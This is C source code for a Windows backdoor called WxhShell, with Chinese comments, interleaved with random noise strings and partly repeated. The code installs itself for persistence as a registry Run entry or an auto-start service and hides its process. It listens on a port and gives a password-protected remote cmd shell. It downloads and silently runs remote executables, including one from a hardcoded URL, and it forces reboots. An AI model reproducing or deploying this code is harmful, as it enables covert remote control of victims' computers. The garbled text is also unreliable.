"GetModuleBaseNameA"); 1|l'oTAA NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y` Oz\W h7f&7v if (!NtQueryInformationProcess) return 0; k?3NF:Yy7 vdAaqM6D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ob05:D_bc9 if(!hProcess) return 0; f/&gR5 vzM8U>M if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; py VTA1 I9rWut@+ CloseHandle(hProcess); wO/}4>\ ZH;VEX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W2P(!q>r] if(hProcess==NULL) return 0; cm@q{(r
O@6iG HMODULE hMod; Pp3<K649 char procName[255]; *cz nokq6 unsigned long cbNeeded; +KgLe> -} FY+0r67] if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w4P?2-kB .w/w]
Eq CloseHandle(hProcess); FJomUVR . rg64f'+Eug if(strstr(procName,"services")) return 1; // 以服务启动 X*hY?'Rp YAQ]2<H return 0; // 注册表启动 yaza } A-x; ai] $OB 2ZS" // 主模块 1`J-|eH=Q int StartWxhshell(LPSTR lpCmdLine) XFKe6: { 3cfW|J SOCKET wsl; uMKO^D BOOL val=TRUE; :6~Nq/hZB int port=0; I },.U&r struct sockaddr_in door; #pO=\lJ, $_ IvzbOh if(wscfg.ws_autoins) Install(); smaPZ^;; j Fv$5Zcf port=atoi(lpCmdLine); &~)PB
| zrVw l\& if(port<=0) port=wscfg.ws_port; kk#%x#L[ R?Zv WSADATA data; EK`}?>' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
KK$t3e) ZFwUau if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uNSaw['0j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @a2n{ door.sin_family = AF_INET; djJD'JL door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?_)b[-N! door.sin_port = htons(port); V,:^@ 7d Tq{+9+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dZ}gf}.v closesocket(wsl); `Cq&;-u return 1; g<U\7Vp\1 } NU[{ANbl ._'AJhU$0 if(listen(wsl,2) == INVALID_SOCKET) { Wd"<u2 closesocket(wsl); l7#5.%A return 1; IlN: NS } #$W02L8 Wxhshell(wsl); E| eEAa
WSACleanup(); BV)oF2b: !Q[j;f
return 0; q_iPWmf
p* X)7_@,7 } !2L?8oP-z N~NUBEKcp // 以NT服务方式启动 9#(Nd, m}) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1%Hc/N- { jHjap:i`cI DWORD status = 0; Nl/^ga DWORD specificError = 0xfffffff; xb{G:v r+v?~m! serviceStatus.dwServiceType = SERVICE_WIN32; {<ms;Oi' serviceStatus.dwCurrentState = SERVICE_START_PENDING; p1tqwV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DR]=\HQ serviceStatus.dwWin32ExitCode = 0; >D]g:t@v serviceStatus.dwServiceSpecificExitCode = 0; ]90BIJ]*c serviceStatus.dwCheckPoint = 0; 4^uQB(}Z serviceStatus.dwWaitHint = 0; @7S*
] qFQO1"mu hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bmCp:6 if (hServiceStatusHandle==0) return; m8[XA!, r~rft w status = GetLastError(); 7m.#No>^ if (status!=NO_ERROR) yuP1*QJ% { zm>^!j
! serviceStatus.dwCurrentState = SERVICE_STOPPED; rfo7\'yk serviceStatus.dwCheckPoint = 0; m&S *S_c serviceStatus.dwWaitHint = 0; suKr//_ serviceStatus.dwWin32ExitCode = status; xhcFZTj/( serviceStatus.dwServiceSpecificExitCode = specificError; _43'W{% SetServiceStatus(hServiceStatusHandle, &serviceStatus); T)c<tIr6 return; 'Fq+\J#% } W*2d!/;7> #hMS?F| serviceStatus.dwCurrentState = SERVICE_RUNNING; 6LRvl6ik serviceStatus.dwCheckPoint = 0; SG$V%z"e serviceStatus.dwWaitHint = 0; m3T=x = if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _c!$K#Yl{ } xP{)+$n t;HM // 处理NT服务事件,比如:启动、停止 LNNwy:_ ! VOID WINAPI NTServiceHandler(DWORD fdwControl) XXDLbT'J { XrUc` switch(fdwControl) [L m { r>ziQq8C& case SERVICE_CONTROL_STOP: X!xmto serviceStatus.dwWin32ExitCode = 0; gN@|lHbU serviceStatus.dwCurrentState = SERVICE_STOPPED; k~%j"%OB serviceStatus.dwCheckPoint = 0; ~a$h\F'6
serviceStatus.dwWaitHint = 0; bZ0{wpeK= { C))x#P36 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;_X2E~i[ } sHqa(ynK return; ;F_pF+&q case SERVICE_CONTROL_PAUSE: =\`iC6xP} serviceStatus.dwCurrentState = SERVICE_PAUSED; /@ww"dmqU break; Z".Xroq~ case SERVICE_CONTROL_CONTINUE: .Gt_~x serviceStatus.dwCurrentState = SERVICE_RUNNING; n58yR -" break; fI
v?HD:j case SERVICE_CONTROL_INTERROGATE: !!k^M"e2 break; p>N8g#G }; [$X^r<|P@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); emSky-{$u } (b;Kl1Ql] zC,c9b // 标准应用程序主函数 X$2f)3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zJ6""38Pr { OwCbv j0# oGRd ;hsF // 获取操作系统版本 6gs0Vm OsIsNt=GetOsVer(); 6Ki!j< GetModuleFileName(NULL,ExeFile,MAX_PATH); 9-+N;g!q +OI <0 // 从命令行安装 xp? YM35 if(strpbrk(lpCmdLine,"iI")) Install(); ;kzjx%h hmkm^2 // 下载执行文件 ,njlKkFw^Z if(wscfg.ws_downexe) { 9OYyR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) boq=@Qh WinExec(wscfg.ws_filenam,SW_HIDE); l6*MiX]q } ]ZnASlc) P$x9Z3d_ if(!OsIsNt) { Jmuyd\?,b // 如果时win9x,隐藏进程并且设置为注册表启动 h% eGtd$n HideProc(); I&U.5wf StartWxhshell(lpCmdLine); @<.ei)cqb } L}
"bp else u69UUkG if(StartFromService()) {/j gB"9 // 以服务方式启动 R<B5<!+ StartServiceCtrlDispatcher(DispatchTable); P;`Awp? else
jF-:e;- // 普通方式启动 9}wI@ StartWxhshell(lpCmdLine); 43 vF(<r&f ..kFn!5(g return 0; +MZI \> } D;&\) G^sx/H76J Xs{PAS0 _7z]zy@PC5 =========================================== {O:{F? aGd
wuD j1;<3)%0 DRpFEWsm >F>VlRg km*Y#`{ " hVz] wKP "O'c.v?{x #include <stdio.h> 182g6/, #include <string.h> O/U? Wq #include <windows.h> HSWki';G #include <winsock2.h> {+m8^-T #include <winsvc.h> ,CI-IR2 #include <urlmon.h> a>6D3n
W Q6HghG #pragma comment (lib, "Ws2_32.lib") A%2B3@1'q #pragma comment (lib, "urlmon.lib") HC}vO0X4 \%&A? D #define MAX_USER 100 // 最大客户端连接数 wH$qj'G4CN #define BUF_SOCK 200 // sock buffer
wz)s #define KEY_BUFF 255 // 输入 buffer _Vl~'+ e x`c7*q% #define REBOOT 0 // 重启 1tq ^W' #define SHUTDOWN 1 // 关机 eR,/}g\ c4u/tt.) #define DEF_PORT 5000 // 监听端口 P-a8S*RRa \WBO(,]V #define REG_LEN 16 // 注册表键长度 Y=4
7se=h" #define SVC_LEN 80 // NT服务名长度 Do7 7V5 :tbgX;tCs5 // 从dll定义API 5S8>y7knQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H~TuQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L2p?]:- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZH|q#<{l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2{.g7bO Yj'9|4%+| // wxhshell配置信息 /* qx5$~ struct WSCFG { H[nco# int ws_port; // 监听端口 z{|0W!nHJ char ws_passstr[REG_LEN]; // 口令 =tbfBK+ int ws_autoins; // 安装标记, 1=yes 0=no P6Y+ u char ws_regname[REG_LEN]; // 注册表键名 .^M#BAt2 char ws_svcname[REG_LEN]; // 服务名 o">~ObR char ws_svcdisp[SVC_LEN]; // 服务显示名 M(nzJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
?HRS* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "-djA, ` int ws_downexe; // 下载执行标记, 1=yes 0=no Pro?xY$E) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <5D4h! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xy%||\P{) dOKp:|9G }; <{k`K[) ZG0^O"B0 // default Wxhshell configuration 6}m `_d? struct WSCFG wscfg={DEF_PORT, =^GPQ_" "xuhuanlingzhe", z\oTuW*B 1, :'B(DzUR "Wxhshell", SzIzQR93& "Wxhshell", :Fm*WqZu "WxhShell Service", >SLQW "Wrsky Windows CmdShell Service", P))BS "Please Input Your Password: ", p5$}h,7 1, QRvyaV "http://www.wrsky.com/wxhshell.exe", 6`7tTn?n "Wxhshell.exe"
+WAkBE/ }; @"`}%-b c+&Kq.~K // 消息定义模块 ?$K-f:?c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V]; i$ char *msg_ws_prompt="\n\r? for help\n\r#>"; ZT@=d$Z&t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?IYu"UO<)| char *msg_ws_ext="\n\rExit."; zzhZ1;\ char *msg_ws_end="\n\rQuit."; E&
.^|<n char *msg_ws_boot="\n\rReboot..."; D
h;5hu2" char *msg_ws_poff="\n\rShutdown..."; }3A~ek#*~ char *msg_ws_down="\n\rSave to "; \HbZ~I- U+qyS|i char *msg_ws_err="\n\rErr!"; {ibu0 char *msg_ws_ok="\n\rOK!"; McN[ r}&&e BY
f char ExeFile[MAX_PATH]; FJDC^@ Ne int nUser = 0; *djLf.I@ HANDLE handles[MAX_USER];
:`NZD int OsIsNt; iphC\*F ij!d-eM/b SERVICE_STATUS serviceStatus; '=vZAV` SERVICE_STATUS_HANDLE hServiceStatusHandle; ?5J#
yn ]y6{um8" // 函数声明 gy%.+!4>v` int Install(void); Fy"M 4;7 int Uninstall(void); pDZewb&cA int DownloadFile(char *sURL, SOCKET wsh); eJTU'aX* int Boot(int flag); A[uE#T^ void HideProc(void); )I[f(f%W7 int GetOsVer(void); [:{
FR2*x int Wxhshell(SOCKET wsl); %Y%r2 void TalkWithClient(void *cs); p~@,zetS int CmdShell(SOCKET sock); !Pw*p*z int StartFromService(void); |J,zU6t int StartWxhshell(LPSTR lpCmdLine); wYf\!]}' . 2$J-<O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5PO_qr=Hx VOID WINAPI NTServiceHandler( DWORD fdwControl ); JyZuj>`
6 *0xL( // 数据结构和表定义 Vt(Wy SERVICE_TABLE_ENTRY DispatchTable[] = q@~g.AMCB { ]5jS6@Vl* {wscfg.ws_svcname, NTServiceMain}, y<kUGsD {NULL, NULL} +Q u.86dH }; M i& ;1!bg ]B,tCBt // 自我安装 9 Gd6/2 int Install(void) >lV,K1Z { salC4z3 char svExeFile[MAX_PATH]; ySr,HXz HKEY key; EW*sTI3 strcpy(svExeFile,ExeFile); v1 8<~ %jzTQ+.%]^ // 如果是win9x系统,修改注册表设为自启动 VIz(@ if(!OsIsNt) { $U*eq[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { llP
V{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _K9`o^g%PJ RegCloseKey(key); ^AH[]sE_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gLX<>|)* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4HGTgS RegCloseKey(key); i8V\ x> 9 return 0; IqYJ } _#sy } uP'L6p5 } uC;_?Bve else { DLrV{8%W E xhih^[_ // 如果是NT以上系统,安装为系统服务 MvpJ0Y ( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RG{T\9]n if (schSCManager!=0) 9s^$tgH { QMBT8x/+_' SC_HANDLE schService = CreateService bFX{|&tHU ( KAClV%jP schSCManager, qR'FbI wscfg.ws_svcname, !b+4[xky wscfg.ws_svcdisp, Zu.hcDw1 SERVICE_ALL_ACCESS, ,!l _ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &`I(QY SERVICE_AUTO_START, T&_&l;syA SERVICE_ERROR_NORMAL, #gQn3.PX+y svExeFile, ByY2KJ7 NULL, RqTO3Kf NULL, 8TFQ%jv NULL, wnokP NULL, Ei_~K'; NULL cF8
2wg ); _/LGGt4&% if (schService!=0) f\hMTebma$ { ]?4;Lw CloseServiceHandle(schService); ~o!-[ CloseServiceHandle(schSCManager); Vx $;wU Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %Xd*2q4* strcat(svExeFile,wscfg.ws_svcname); 'Tm1Mh0Fso if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,GH`tK_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n{;Q"\*Sg RegCloseKey(key); 0 #8 return 0; i\6CE| } DEZww9T2Qs } \EfX3ghPI CloseServiceHandle(schSCManager); mITB\,,G } op}!1y$9P } S?0o[7(x* 45c?0tj return 1; Y6v{eWtSn } 3^UdB9j; rRq60A // 自我卸载 Cq2Wpu-u int Uninstall(void) k4ti#3W5eG { Bz ;r<Kn HKEY key; n4kq=Z% ^!1!l- if(!OsIsNt) { wmr?ANk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Gk`n RegDeleteValue(key,wscfg.ws_regname); zTg\\z; RegCloseKey(key); XZIapT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oN1D&* RegDeleteValue(key,wscfg.ws_regname); Wi&v?nm RegCloseKey(key); XR+
SjCA return 0; 0VNLhM(LM } >s^$- } l53i
{o } >_?i)%+) else { TwkT|Piw
S Wzl/ @CPM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |qw0:c=7! if (schSCManager!=0) #3rS{4[ { V9oBSP'kt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GY]P(NU if (schService!=0) RM|J |R { tY)L^.* 7 if(DeleteService(schService)!=0) { kZw"a*6 CloseServiceHandle(schService); wm`<+K CloseServiceHandle(schSCManager); t*(bF[? return 0; <VxA&bb7c } P-\f-FS CloseServiceHandle(schService); -+WAaJ(b } {zb'Z Yz CloseServiceHandle(schSCManager); cZh0\DyU } !UT'4Fs } ;@ePu -8n1y[ return 1;
aN0[6+KP; } uos8Mav{E ]@$^Ju, // 从指定url下载文件 cLZ D\1Mt int DownloadFile(char *sURL, SOCKET wsh) P=n_wE { RAO+<m HRESULT hr; ETHcZ char seps[]= "/"; z&%i"IY char *token; =*\.zr
char *file; xOTvrX char myURL[MAX_PATH]; r{R-X3s char myFILE[MAX_PATH]; P~\rP6
; Sb`[+i'` strcpy(myURL,sURL); X"{%,]sb G token=strtok(myURL,seps); :'p)xw4K| while(token!=NULL) *O_fw 0jV { *$eH3nn6g file=token; O)dnr8* token=strtok(NULL,seps); uuY^Q;^I* } CQWXLQED> DsHF9Mn GetCurrentDirectory(MAX_PATH,myFILE); D]@(LbMG4 strcat(myFILE, "\\"); b9j}QK strcat(myFILE, file); C7%R2>}?f send(wsh,myFILE,strlen(myFILE),0); tRoSq;VrS send(wsh,"...",3,0); At.&$ t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mo| D if(hr==S_OK) 5T;LWS return 0; eGEwXza 4 else Jh\KVmfXN return 1; &nmBsl3Q. f-F=!^. } +fVv H 1bV
G%N // 系统电源模块 2w.FC int Boot(int flag) #kW=|8X { +M=h+3hw]( HANDLE hToken; Vh\_Ko\V5 TOKEN_PRIVILEGES tkp; }QI \K R{@saa5I(> if(OsIsNt) { <,~OcJG( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x/s:/YN' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AIHH@z tkp.PrivilegeCount = 1; [PIMG2"G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i<ES/U\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UPfE\KN+p# if(flag==REBOOT) { M}|(:o3Yo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 07.p
{X R return 0; [edF'7La } 2y!n c% else { Ij#mmj NW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r)t[QoD1 return 0; qR@ESJ_ } Lvf<g}?4 } Z[@ i/. I else { "uBnK! if(flag==REBOOT) { \tgY2: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e4YfJd return 0; @D9O<x } 1n`[D&?q else { ? $B4'wc5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6{+yAsI return 0; Gld~GyB\k } @)b'3~D } ko}& X= (>}1t!1 return 1; \:m~
+o$<- } c^W;p2^ q-z1ElrN7u // win9x进程隐藏模块 &y_t,8>5 void HideProc(void) ?\\wLZ { 2U./
Yfk\ =zn'0g,J4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dy6zrgxygP if ( hKernel != NULL ) 2?
E;(]dQ { =CQfs6np:N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VD.TosVeWo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MXSD8]je FreeLibrary(hKernel); q{9vY:`[ } NO*,}aeG "(mJupI return; ?A@y4<8R| } :j]6vp6 I{$suPk // 获取操作系统版本 0N1t.3U int GetOsVer(void) ,3?=W/Um4 { "r6qFxY OSVERSIONINFO winfo; >M5}L< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f,O10`4s GetVersionEx(&winfo); J^"_H:1[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *9n[#2sM< return 1; C@-Hm else =o(}=T>:" return 0; R,T 0!f } 'ON/WKJr|W va@;V+cD // 客户端句柄模块 ;W{z"L;nX int Wxhshell(SOCKET wsl) 5j`sJvq { -)-:rRx- SOCKET wsh; T.#_v#oM struct sockaddr_in client; rRevyTs DWORD myID; 'wPX.h? ^$oa`B^2JM while(nUser<MAX_USER) Apu-9|oP { ]:f.=" int nSize=sizeof(client); gxhp7c182 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'N{1b_v? if(wsh==INVALID_SOCKET) return 1; <);j5)/ Uv59 XF$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cEHpa%_5 if(handles[nUser]==0) IEm?'o: closesocket(wsh); u/W{JPlL else %ZRv+}z nUser++; Z*Ffdh>*:& } :+YHj)mN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TD\TVK3P -,
+o*BP return 0; Yh]a4l0 } bAt!S 9?Bh8%$ // 关闭 socket hEjvtfM9\- void CloseIt(SOCKET wsh) "0!#De
{ 0faf4LzU! closesocket(wsh); NL.3qx nUser--; ok--Jyhv# ExitThread(0); ]Z[3 \~? } ULew ~j U$D:gZ // 客户端请求句柄 !wAnsK void TalkWithClient(void *cs) >XZ2w_ { 2\{/|\ 86%k2~L
SOCKET wsh=(SOCKET)cs; dZ|bw0~_! char pwd[SVC_LEN]; 1N),k5I char cmd[KEY_BUFF]; T \34<+n1N char chr[1]; d)48m}[: int i,j; 70avr)OM Cdl"TZ< while (nUser < MAX_USER) { jGLmgJG-P ~H''RzN if(wscfg.ws_passstr) { i.9}bw
9u@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ';eAaDM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .dzw5R& //ZeroMemory(pwd,KEY_BUFF); T>|+cg i=0; nILUo2e~ while(i<SVC_LEN) { 6+sz4 R]od/u/$ // 设置超时 v2|zIZ fd_set FdRead; }!g$k
$y struct timeval TimeOut; s,-<P1}/ FD_ZERO(&FdRead); VIWH~UR)&! FD_SET(wsh,&FdRead); mmFcch$Jv TimeOut.tv_sec=8; r(]Gd`] TimeOut.tv_usec=0; U;&s=M0[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;Qd'G7+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H"+|n2E^ /_<_X
7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "% \y$ pwd=chr[0]; j.Y!E<e4] if(chr[0]==0xd || chr[0]==0xa) { =[4C[s pwd=0; (|W6p%( break; lS;S:-
-F } \U]<HEc^ i++; [HXd|,~_j- } -{3^~vW|< $LR~c)}1I // 如果是非法用户,关闭 socket #\~m}O, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {w>ofyqfp& } Jv2V@6a( aS3-A4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1b=\l/2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }8.$)&O$^ L-W*h while(1) { _58&^:/^ TFc/` ZeroMemory(cmd,KEY_BUFF); C1HNcfa7 oz'jt} ?
// 自动支持客户端 telnet标准
$v{sb, j=0; 5k_%%><: q while(j<KEY_BUFF) { IL8&MA% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w4y???90) cmd[j]=chr[0]; 4>=Y@z if(chr[0]==0xa || chr[0]==0xd) { O6-"q+H) cmd[j]=0; F8m@mh*8> break; b4^a
zY } t I+]x]m+ j++; ^YPw'cZZ& } KG5B6Om5' ng2yZ @$ // 下载文件 78z/D|{" if(strstr(cmd,"http://")) { Se/]J<] send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Je!;mEvI if(DownloadFile(cmd,wsh)) q[Y*.%~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); YWhS< }^ else 1p>&j%dk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#e|#!Je } ``?Z97rH else { wCr+/"t iV%tn{fc switch(cmd[0]) { @n=FSn6c 5#? HL // 帮助 9T;l* case '?': { YsjTC$Tx, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !P:~oo= break; YKj PE } A^7Y% // 安装 ! F&{I case 'i': { d 7QWK(d if(Install()) n;dp%SD send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJ&?My,=J else .!Q[kn0a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -,xsUw4 break; My>{;n=} } W^nG\"T^ // 卸载 my3W [3# case 'r': { } SA/,4/9 if(Uninstall()) v?1xYG@1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0SLn0vD! else EEp,Z` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~_L_un.R break; tTrue? } 78+PG(Q_M // 显示 wxhshell 所在路径 Q[F$6m%o case 'p': { zwX1&rN char svExeFile[MAX_PATH]; \\Huk*Jn{ strcpy(svExeFile,"\n\r"); xqzdXL} strcat(svExeFile,ExeFile); PAXdIh[] send(wsh,svExeFile,strlen(svExeFile),0); UG9 Ha break; ,}#l0BY } PT`gAUCw // 重启 g*#.yC1/ case 'b': { gTP0: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aq,? if(Boot(REBOOT)) of:xj$dQ_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^jb#9\R else { [<{+tAdn) closesocket(wsh); '.DFyHsq ExitThread(0); ~lLIq!!\ } 1~q|%"J break; }"'l8t0? } 0l ]K%5# // 关机 Y;XEC;PXD case 'd': { S(*SUH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )b AcU if(Boot(SHUTDOWN)) Xn3Ph!\Z5e send(wsh,msg_ws_err,strlen(msg_ws_err),0); gg%OOvaj5 else { O}#h^AU-BS closesocket(wsh); ] Vbv64M3 ExitThread(0); .qBf`T; } m;nT ?kv break; `H6kC$^Ofx } ON=6w_ // 获取shell J;g+ case 's': { tcf>9YsOr CmdShell(wsh); t|aBe7t7 closesocket(wsh); W`-AN}C# ExitThread(0); !8O*)=RA break; +H~})PeQ } 3Ga!) // 退出 y\&`A:^[ A case 'x': { 9q-9UC!g send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _YW1Mk1 CloseIt(wsh); x-/ `c break; Ie~#k[X } J_A5,K*r| // 离开 y++[:M case 'q': { auTApYS53 send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Z^YaKj& closesocket(wsh);
um[nz WSACleanup(); Xo>P?^c4? exit(1); #yv_Eb02 break; >\ :kP>U } KZw"?%H[
} f6ad@2 } >8nRP%r[5, n
LZ
// 提示信息 l(@UpV- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G~I@'[ur } Q!:J.J } iC`K$LY4W !e>EDYbY return; /JfRy%31 } )FkJ=P0 :.IVf Zw // shell模块句柄 VMUK|pC4K int CmdShell(SOCKET sock) %_!YonRY|X { h$FpH\- STARTUPINFO si; IR,`- ZeroMemory(&si,sizeof(si)); ?j{LE-( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kmm1b ( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lmZSsx PROCESS_INFORMATION ProcessInfo; Wej 8YF@ char cmdline[]="cmd"; M3350 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S3u>a\ return 0; '8v^.gZ } geL)v7t+# DKu4e // 自身启动模式 8-c1q*q) int StartFromService(void) Bg*Oj)NM { }^;Tt-*k typedef struct bBBW7',[a { #]'#\d#i DWORD ExitStatus; 3PLv;@!#j} DWORD PebBaseAddress; (8u.Xbdh DWORD AffinityMask; HgP9evz,0 DWORD BasePriority; oq4*m[ ULONG UniqueProcessId; vcnUb$% ULONG InheritedFromUniqueProcessId; O<Rm9tZ8 } PROCESS_BASIC_INFORMATION; W|o LS mVN^X/L(y PROCNTQSIP NtQueryInformationProcess; i:wTPR {i)k# ` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t8,s]I& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~*9
vn Z@ v_PhJKE HANDLE hProcess; o })k@-oL PROCESS_BASIC_INFORMATION pbi; NuKktQd z!quA7s<] HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'PF?D~ if(NULL == hInst ) return 0; "k(Ee E=.4(J7K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j_VTa/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xJ)hGPrAl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y|1,h}H^n (-tF=wR,W if (!NtQueryInformationProcess) return 0; \e64Us>"x 00 Qn1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p=vu<xXtD if(!hProcess) return 0; FWv-_ )>$@cH if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <o8j+G)K# ^b=9{.5 CloseHandle(hProcess); \J r ta P)Vm4u
1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A\9QgM if(hProcess==NULL) return 0; R87-L*9B^0 xwr<ib: HMODULE hMod; i>w'$ { char procName[255]; >L F
